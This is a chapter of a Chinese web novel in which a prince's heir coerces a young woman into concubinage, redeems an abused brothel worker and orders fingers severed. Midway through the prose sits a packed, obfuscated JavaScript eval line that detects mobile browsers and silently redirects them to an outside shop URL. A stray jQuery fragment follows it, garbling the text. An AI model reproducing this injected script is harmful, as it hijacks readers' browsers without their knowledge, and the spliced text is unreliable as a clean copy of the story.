男子挑了挑眉,唇边溢出一丝笑,“你想多了,本世子只是想纳姑娘为妾。”
她惊疑地抬起头。
他不紧不慢介绍道:“鄙人是宣凌王府世子。”
竟还是个权贵。
她细细思忖他的身份,宣凌王府世子,凌渐台,是那位热衷于寻找替身的世子。
她恍然大悟。
坊间传闻,凌世子曾有一心悦之人,可惜女子红颜薄命,身染恶疾去世。
可世子心中久未放下,竟开始四处寻找替身。难不成,她与他那心悦之人长相相像?
她一时不知所措起来。可,这明明就是卖身!
“不,我绝不答应!”她仰头决然拒绝。
此时,驾车的“车夫”周墨顺势开口,“世子,昨夜给那群地痞的金子都是假的,但他们绝对不敢刁难世子。”
“可姑娘一家……”说到此处,他惋惜地摇了摇头,“姑娘就得自己想办法了。”
关宁宁看着那群恶煞,眼睛滚出泪来,膝盖一弯,朝凌渐台跪了下去,“民女不过一小门小户,若世子高抬贵手,民女必谨记世子恩情,永世不忘。请世子看在民女可怜的份上,帮帮民女。”
“本世子可不是随意大发善心之人。”
他蹲身,擒起她的下颌,迫使她直视着他的眼睛,“要本世子帮忙,总得付出代价。”
她余光瞥向那越来越近的追债人,因此一遭,更是惹怒了他们,更不知他们会如何折磨她们,最后落得个凄惨下场。
她抬眸,哽咽道:“好,我答应你。”
一滴泪落到他的指尖,滚烫,泪珠被他淡淡拂去。
他唇瓣轻轻翘起,露出一抹得意之色。
凌渐台眼神示意周墨。
周墨看着那群地痞恶煞,眼中升腾起杀意,点头,“世子放心。”
这时,又有一辆马车前来,停在后面,凌渐台安排娘亲和阿弟上后面那辆马车,只见阿弟拧着眉头,瞪着凌渐台,不甘不愿上了车。
凌渐台看着他那小身板,不以为然,不过是毛头小子一个。
她跟着世子上了前车。
经历一夜的逃亡,她衣服半湿,皱巴巴的贴在身上,脚底还沾着泥土。与这车厢比,更显得寒酸了。
她十分拘束,蜷缩在一角。
一套完好的衣裙扔了过来,罩在她的头上。
她扯下来,眼眸一时亮了,这衣衫虽然是素色,但面料上乘,通体透着光泽,穿在身上,必是清贵至极。
凌渐台抬手,重重敲了下案几。
“换。”他冷冷道。
她愕然抬眸,在他的面前更衣?他就这么迫不及待。
成为他的侍妾,必是要迈出这一步。可她毕竟是未经世事的少女。一时屈辱极了,别过头去。
“是你自己换,还是我帮你换?”他突然到她面前,带着满身迫人的气势。
她的唇不甘地动了动,似是忍受了多大的委屈般,抱过新衣,“我自己来。”
她背过身去,手扯动衣带,开始脱,动作极其地慢。
凌渐台不屑地轻扯了下唇角。
换好衣裙,关宁宁低垂着头,端坐在一角。
从他的位置望去,少女端庄清丽,玲珑剔透,令人心驰神往。她的身形极像,侧颜的轮廓亦是。
他倾身走过来,抬起她的下颌,发现凑近了看,五官却是有几处不像。
眼前少女的唇瓣微翘,有一丝俏皮。眼角圆润,怔怔地望着人时,倒有几分无辜之意。
他抽出他头上的银簪,别在她的发间。
“这样更像一些。”目光落在她眉眼,他恍惚了一会儿。
回过神,他猝然皱眉,眼神露出一丝厌恶。他喜欢长相酷似她的女子,但又讨厌,她们凭什么同她相像。
这一身衣裙不好。
视线扫到她身后换下来的脏衣服,堆在一角,满是泥泞,已经弄脏了车厢,他不悦地拧眉,哗一下,他夺过来,全扔了出去。做完这些,他退回案几处,再也不看她。
关宁宁觉得他莫名其妙,转移视线看向窗外。
看着愈来愈近的城门口,她心中憋闷,忍不住冲出去。
意志怂恿着身体,跳。
跳出去。
跳出去!
忽然,肩膀搭上一只手。她转眸,对上他带着凉意的眼睛。
他唇角却是微微一笑,“别看了,你逃不掉。”
被他看穿了心思,她恹恹地转过身,眼睛不再往外瞟,神情慢慢黯淡下去。
马车穿过城门,进了城。
过了大概半个时辰,马车停下,她被凌渐台带下车。
眼前是一家铺子,牌匾上赫然写着‘玲珑斋’三个大字,从外面就看到里面柜台之上,那些金银钗环泛着的光泽。
正要走进去,旁边大门忽然一个女人被踢了出来,登时被吸引了目光,她转头望去。
“臭娘们!”
“当了婊.子还立牌坊!”
“还敢动手打人!”
“老子弄死你!”
一群凶神恶煞的男人围在一起,对着一个弱女子拳打脚踢。
旁边匾额上写着玉满阁,是一家青楼。
关宁宁凝起了眉,同是女子,世道怎么对女子这么苛刻。她一时气愤,大喊一声,“住手!”
所有人的目光聚集到她身上,黑衣护院也停下来。
她走过去。
只见那女子抱着头,缩成一团,身体止不住的颤抖,头发乱糟糟的,衣服被撕扯开,露出来的地方都是伤痕累累。
女子却是死死捂着胸口,似是维护住最后的尊严。
关宁宁心里倏地一紧,若是昨日她被那群人抓住,是不是也是这个下场。她眼眶一阵酸涩,抬手指向女子,“我赎她。”
为首的男人打量她一番,看她穿着,应是富家小姐,对她态度不敢太放肆。随即换上一副皮笑肉不笑的笑脸,“这是哪位小姐,如此善心大发。”
“这个贱人不识好歹,打了客人,影响了阁里的生意,可不是轻易就能赎走的。”
不就是想多要些钱吗?她冷哼一声,“你说个数。”
转而,去摸发间银簪。既然凌渐台要纳她为妾,他给的东西,她为何不用。
可发间空空,银簪不见了。
她倏地睁大了眼睛,转头回看,凌渐台正倚着柱子,双臂抱胸,朝她歪头一笑,笑得狡黠。
银簪就夹在指间,正被他悠闲把玩着。
她大脑懵了一下。
“一千两银子,一分都不能少。”为首护院扬高了声音,狮子大张口。
她局促起来,僵直站在原地,有些不知所措。都怪她一时冲动,偏要逞能。
“原来没钱呐。”护院立刻不耐烦了,拧起的眉头充满了轻蔑。
护院围着她转了一圈,对她的身子上下打量着。
“不如姑娘替了她。”似是很满意,他双眼透出精光,一脸下流地靠过来,“以一换一,也成全了姑娘的善意。”
关宁宁瞬间后退,乌黑的眸子溢满警惕,怒目瞪着他。
“我的人,你也敢动?”
凌渐台慢慢走过来,带着迫人的气场,他神色冷峻,晦暗的目光藏着几分薄怒。
护院依旧不屑,连银子都拿不出来的人,装什么。他昂着头,斜了一眼凌渐台,语气阴阳怪气的,“不知这位是?”
话毕,玉满阁里走出一个带满珠钗,上了年纪的女人,像是阁里管事的老鸨。
老鸨朝护院的后脑就是一巴掌,“混账东西!”
转首就朝凌渐台俯首作揖,脸上堆满了笑,“今日什么风把世子爷吹过来了,真是有失远迎。”
“世子快进去上坐。”她低眉顺眼,卖力招呼着,脸上的笑都快僵了。
这位世子爷可是独得圣上青睐。
玉满阁平日里需跟各路人马打交道,京都里的权贵子弟作为管事她自然要认得,生怕哪日得罪了他们,给玉满阁带来灭顶之灾。
老鸨衣着鲜艳靓丽,头上的珠钗多得都要把她的脖子压弯了,脸上皱纹却一茬接一茬的,这样搭配起来,实在有些滑稽。
凌渐台直接无视了她,只淡淡的站在原地,把玩着指间的扳指。
见此,护院连忙跪下,“小人有眼不识泰山,还请世子高抬贵手。”
带着暖意的阳光洒下,他稍稍抬手,玉扳指映在日光下,透着清亮的光泽,这才满意。
他随意往后一指,正指向那奄奄一息的女子。
“你的护院说赎她要一千两,讹人都讹到本世子头上了吗?”
他是有钱,但不傻。
花魁才值个千两,一个不过刚刚接客的普通女子,就要一千两,真是活腻了。
老鸨气急败坏,踹了护院一脚。
“什么东西,敢败坏玉满阁的名声!再怎么说这也是正儿八经的青楼,不是那抢人钱财的贼窝!”
“不想在这阁里待,就立马滚!”
骂完,老鸨换上一副笑脸,腰往下弯,几乎都半折了下去,“世子,您气消了吗?”
凌渐台把一个锦囊袋子递给老鸨,浅浅微笑,“够吗?”
老鸨接过,小心翼翼地打开,是满满一袋金子。比这贱妮子的身价多多了,简直大赚。她一脸谄媚地笑道:“够了够了。”
凌渐台朝那名护院轻轻招手。
护院低头过来,转瞬间,嘎嘣一声,他的右手中指朝手背方向翻了过去。
指骨断了。
护院满脸痛苦地滚在地上,却一声都不敢出。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702802|208239||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老鸨身体一僵,但脸上却是一直陪着笑。
“这些金子也够护院治伤了。”凌渐台语气不紧不慢,微微笑道。
关宁宁看向凌渐台的眼神中透出些感激,想来他也并不是一无是处。
似是察觉到她的目光,他眼神扫过来。她急忙收回视线,又想到他将才明明还看自己笑话,如今帮了她,不过是打个巴掌给个甜枣。
那名奄奄一息的女子得知自己获救,挺着身子爬了起来,眼角余光落在凌渐台身上,她怔了一瞬,眼底闪过一丝暗色,转瞬而逝。她手指微微蜷起,曲膝跪下,头颤巍巍地磕下去,声线都是抖动的,“多谢世子和小姐,民女愿当牛做马,报答恩公的恩情。”
怕她摔倒,关宁宁蹲身扶住她。
凌渐台一脸漫不经心,“既然喜欢,就收了她。”
她微微惊愕,脑子还未思考清楚。那女子急忙又俯首下去,应了下来,“奴婢小叠,愿意侍奉夫人。”
见女子这可怜巴巴的模样,她也不好回绝。她忙扶她起来,突然齐刷刷的箭雨凌空而来。
关宁宁还没反应过来,就被凌渐台扣住腰,往后退去。
那位驾马的马夫周墨抽刀,大喊一声,“有刺客,保护世子!”
一声令下,四周齐刷刷涌出一批训练有素的士兵,刀剑挥舞,挡住了漫天箭雨。
那刺客怎肯作罢,一个个都现了身,疯了似的朝凌渐台袭来。
凌渐台将她放在巷口,长剑出鞘,亦迎了上去。
关宁宁身边没了人,那叮铃咣当,刀剑交锋的声音由直往耳朵里钻,一股血腥味涌动在空气中,愈来愈浓,她何时见过这么大阵仗?
她不禁浑身发抖,忙抱紧了自己,只见小叠踉踉跄跄跟了过来,站到她身边,虽说小叠这副遍体鳞伤的身体看起来不堪大用,但起码有人陪伴,也能安慰下自己。
她忽而想起些传言。
这位凌世子的父亲宣凌王,乃是皇帝的兄长,传闻皇帝的皇位乃是当年宣凌王从中助力,皇帝才能稳坐龙椅,皇帝亦十分倚重他。且宣凌王也是如今手中唯一握有兵权的王爷。
宣凌王此人因做过武将,性格亦直言快语,在朝中树敌众多,想要暗杀他以及世子的人不在少数。
而近几年不少重臣亦被人刺杀身亡,朝堂之上波谲云诡,各有猜忌。
正津津有味思索着,她猛然反应过来,此时不跑,更待何时!
她竟在这里关心起凌渐台了。
拉起小叠,就往巷子里跑去,可小叠身上有伤,脚步不快,她死命拉着她,终于跑出了三条街。
忽然,手被重重一扯,关宁宁扭头,只见小叠整个人倒在了地上。
小叠慢慢吐出一口气,发出的声音都是颤抖的,“我跑不动了,抱歉。”
可她怎能丢下她一个人,不如背她走,关宁宁下定决心,将小叠侧过身,她侧躺在其身侧,拢过她的手臂,可在触到她手臂的一瞬间,她能清楚的感受到上面的骨节,根根分明,瘦骨嶙峋。
她怔了一瞬,看向小叠的眼神带了同情,将她的手臂放在肩膀上,小叠虽瘦弱,但身量却纤长,身体亦是蛮重的,关宁宁累得满头大汗,竟没有撼动分毫。
正焦灼之际,忽感背后阴风阵阵。
不过片刻,一群士兵将她所在的窄街围了个水泄不通。
只见士兵纷纷让开一条路,凌渐台月白色的衣袍染了血迹,那张俊美的脸上写满阴鸷,手中提着剑,剑尖划过地面,发出刺啦刺啦的声音,朝她一步步逼近。
关宁宁浑身的血液瞬间僵住。
随之而来的是一股淡淡的血腥味,只听地上滴答一声,关宁宁这才看清楚他的手臂被划开一条大口子,鲜血顺着他的指尖滑下来,落到地上。
他愈来愈近,关宁宁双股不听使唤地颤栗起来。
“恩将仇报。”凌渐台行至她面前,淡淡看她一眼,视线又扫向小叠,唇边浮起一丝笑意,“周墨,断她手指。”
她意识到他说了什么,心中疯狂尖叫,但还是勇敢挡在小叠面前,她自知手无缚鸡之力,此时不能以卵击石,便噗通一下,跪了下去。
凌渐台忽然笑了,“本世子处置自家奴仆,你跪下作甚?”
“逃跑是我的主意,您处置我吧。”她声线抖得不成样子,但她做的事,她一人承担,不能害了旁人。
“也行。”凌渐台语气轻快地答应。
周墨上前,“世子,您要哪根手指?”
他绕有意味地抬起她的右手,一节节纤长玉指在他手中轻颤,他慢慢相看了一番。
“就食指吧。”他语气淡淡的,仿佛在说一件稀松平常的事。
铮然一声,周墨手中短刃出鞘。
他看着她,语气专注又认真,“姑娘放心,我很快。”